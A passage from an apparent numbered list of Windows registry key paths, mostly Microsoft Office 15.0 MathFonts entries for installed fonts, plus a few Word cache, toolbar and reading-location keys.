  1663. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bell MT",
  1664. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Berlin Sans FB",
  1665. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Berlin Sans FB Demi",
  1666. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bernard MT Condensed",
  1667. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Blackadder ITC",
  1668. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT",
  1669. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT Black",
  1670. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT Condensed",
  1671. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bodoni MT Poster Compressed",
  1672. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Book Antiqua",
  1673. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bookman Old Style",
  1674. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bookshelf Symbol 7",
  1675. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Bradley Hand ITC",
  1676. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Britannic Bold",
  1677. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Broadway",
  1678. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Browallia New",
  1679. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\BrowalliaUPC",
  1680. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Brush Script MT",
  1681. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Calibri",
  1682. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Calibri Light",
  1683. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Californian FB",
  1684. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Calisto MT",
  1685. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cambria",
  1686. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cambria Math",
  1687. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Candara",
  1688. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Castellar",
  1689. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Centaur",
  1690. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Century",
  1691. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Century Gothic",
  1692. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Century Schoolbook",
  1693. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Chiller",
  1694. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Colonna MT",
  1695. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Comic Sans MS",
  1696. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Consolas",
  1697. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Constantia",
  1698. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cooper Black",
  1699. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Copperplate Gothic Bold",
  1700. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Copperplate Gothic Light",
  1701. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Corbel",
  1702. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Cordia New",
  1703. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\CordiaUPC",
  1704. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Courier New",
  1705. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Curlz MT",
  1706. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DaunPenh",
  1707. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\David",
  1708. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DFKai-SB",
  1709. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DilleniaUPC",
  1710. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DokChampa",
  1711. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Dotum",
  1712. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\DotumChe",
  1713. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Ebrima",
  1714. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Edwardian Script ITC",
  1715. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Elephant",
  1716. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Engravers MT",
  1717. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Bold ITC",
  1718. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Demi ITC",
  1719. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Light ITC",
  1720. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Eras Medium ITC",
  1721. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Estrangelo Edessa",
  1722. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\EucrosiaUPC",
  1723. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Euphemia",
  1724. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\FangSong",
  1725. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Felix Titling",
  1726. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Footlight MT Light",
  1727. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Forte",
  1728. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Book",
  1729. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Demi",
  1730. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Demi Cond",
  1731. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Heavy",
  1732. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Medium",
  1733. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Franklin Gothic Medium Cond",
  1734. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\FrankRuehl",
  1735. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\FreesiaUPC",
  1736. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Freestyle Script",
  1737. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\French Script MT",
  1738. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gabriola",
  1739. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gadugi",
  1740. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Garamond",
  1741. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gautami",
  1742. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Georgia",
  1743. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gigi",
  1744. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans MT",
  1745. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans MT Condensed",
  1746. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans MT Ext Condensed Bold",
  1747. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans Ultra Bold",
  1748. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gill Sans Ultra Bold Condensed",
  1749. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gisha",
  1750. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gloucester MT Extra Condensed",
  1751. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Goudy Old Style",
  1752. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Goudy Stout",
  1753. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gulim",
  1754. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\GulimChe",
  1755. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Gungsuh",
  1756. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\GungsuhChe",
  1757. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Haettenschweiler",
  1758. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Harlow Solid Italic",
  1759. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Harrington",
  1760. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\High Tower Text",
  1761. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Impact",
  1762. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Imprint MT Shadow",
  1763. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Informal Roman",
  1764. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\IrisUPC",
  1765. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Iskoola Pota",
  1766. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\JasmineUPC",
  1767. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Jokerman",
  1768. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Juice ITC",
  1769. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\KaiTi",
  1770. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kalinga",
  1771. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kartika",
  1772. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Khmer UI",
  1773. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\KodchiangUPC",
  1774. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kokila",
  1775. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kristen ITC",
  1776. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Kunstler Script",
  1777. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lao UI",
  1778. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Latha",
  1779. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Leelawadee",
  1780. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Levenim MT",
  1781. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\LilyUPC",
  1782. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Bright",
  1783. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Calligraphy",
  1784. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Console",
  1785. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Fax",
  1786. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Handwriting",
  1787. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Sans",
  1788. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Sans Typewriter",
  1789. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Lucida Sans Unicode",
  1790. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Magneto",
  1791. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Maiandra GD",
  1792. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Malgun Gothic",
  1793. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Mangal",
  1794. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Marlett",
  1795. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Matura MT Script Capitals",
  1796. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Meiryo",
  1797. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Meiryo UI",
  1798. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Himalaya",
  1799. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft JhengHei",
  1800. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft JhengHei UI",
  1801. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft New Tai Lue",
  1802. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft PhagsPa",
  1803. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Sans Serif",
  1804. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Tai Le",
  1805. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Uighur",
  1806. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft YaHei",
  1807. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft YaHei UI",
  1808. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Microsoft Yi Baiti",
  1809. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU",
  1810. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU_HKSCS",
  1811. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU_HKSCS-ExtB",
  1812. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MingLiU-ExtB",
  1813. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Miriam",
  1814. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Miriam Fixed",
  1815. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Mistral",
  1816. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Modern No. 20",
  1817. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Mongolian Baiti",
  1818. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Monotype Corsiva",
  1819. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MoolBoran",
  1820. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Gothic",
  1821. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Mincho",
  1822. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Outlook",
  1823. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS PGothic",
  1824. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS PMincho",
  1825. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Reference Sans Serif",
  1826. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS Reference Specialty",
  1827. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MS UI Gothic",
  1828. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MT Extra",
  1829. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\MV Boli",
  1830. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Narkisim",
  1831. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Niagara Engraved",
  1832. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Niagara Solid",
  1833. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Nirmala UI",
  1834. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\NSimSun",
  1835. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Nyala",
  1836. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\OCR A Extended",
  1837. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Old English Text MT",
  1838. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Onyx",
  1839. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Palace Script MT",
  1840. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Palatino Linotype",
  1841. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Papyrus",
  1842. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Parchment",
  1843. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Perpetua",
  1844. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Perpetua Titling MT",
  1845. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Plantagenet Cherokee",
  1846. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Playbill",
  1847. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\PMingLiU",
  1848. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\PMingLiU-ExtB",
  1849. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Poor Richard",
  1850. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Pristina",
  1851. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Raavi",
  1852. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rage Italic",
  1853. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Ravie",
  1854. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rockwell",
  1855. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rockwell Condensed",
  1856. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rockwell Extra Bold",
  1857. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Rod",
  1858. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Sakkal Majalla",
  1859. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Script MT Bold",
  1860. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe Print",
  1861. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe Script",
  1862. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI",
  1863. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Light",
  1864. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Semibold",
  1865. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Semilight",
  1866. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Segoe UI Symbol",
  1867. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Shonar Bangla",
  1868. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Showcard Gothic",
  1869. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Shruti",
  1870. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\SimHei",
  1871. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Simplified Arabic",
  1872. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Simplified Arabic Fixed",
  1873. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\SimSun",
  1874. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\SimSun-ExtB",
  1875. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Snap ITC",
  1876. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Stencil",
  1877. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Sylfaen",
  1878. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Symbol",
  1879. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tahoma",
  1880. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tempus Sans ITC",
  1881. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Times New Roman",
  1882. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Traditional Arabic",
  1883. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Trebuchet MS",
  1884. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tunga",
  1885. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tw Cen MT",
  1886. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tw Cen MT Condensed",
  1887. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Tw Cen MT Condensed Extra Bold",
  1888. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Utsaah",
  1889. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vani",
  1890. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Verdana",
  1891. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vijaya",
  1892. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Viner Hand ITC",
  1893. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vivaldi",
  1894. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vladimir Script",
  1895. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Vrinda",
  1896. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Webdings",
  1897. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wide Latin",
  1898. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wingdings",
  1899. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wingdings 2",
  1900. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\MathFonts\\Wingdings 3",
  1901. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\NextUpdate",
  1902. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocBibs\\1033\\LastUpdate",
  1903. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\NextUpdate",
  1904. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\SmartArt\\1033\\LastUpdate",
  1905. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\NextUpdate",
  1906. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\WordDocParts\\1033\\LastUpdate",
  1907. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Toolbars\\Settings\\Microsoft Word",
  1908. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations",
  1909. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0",
  1910. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Reading Locations\\Document 0\\File Path",
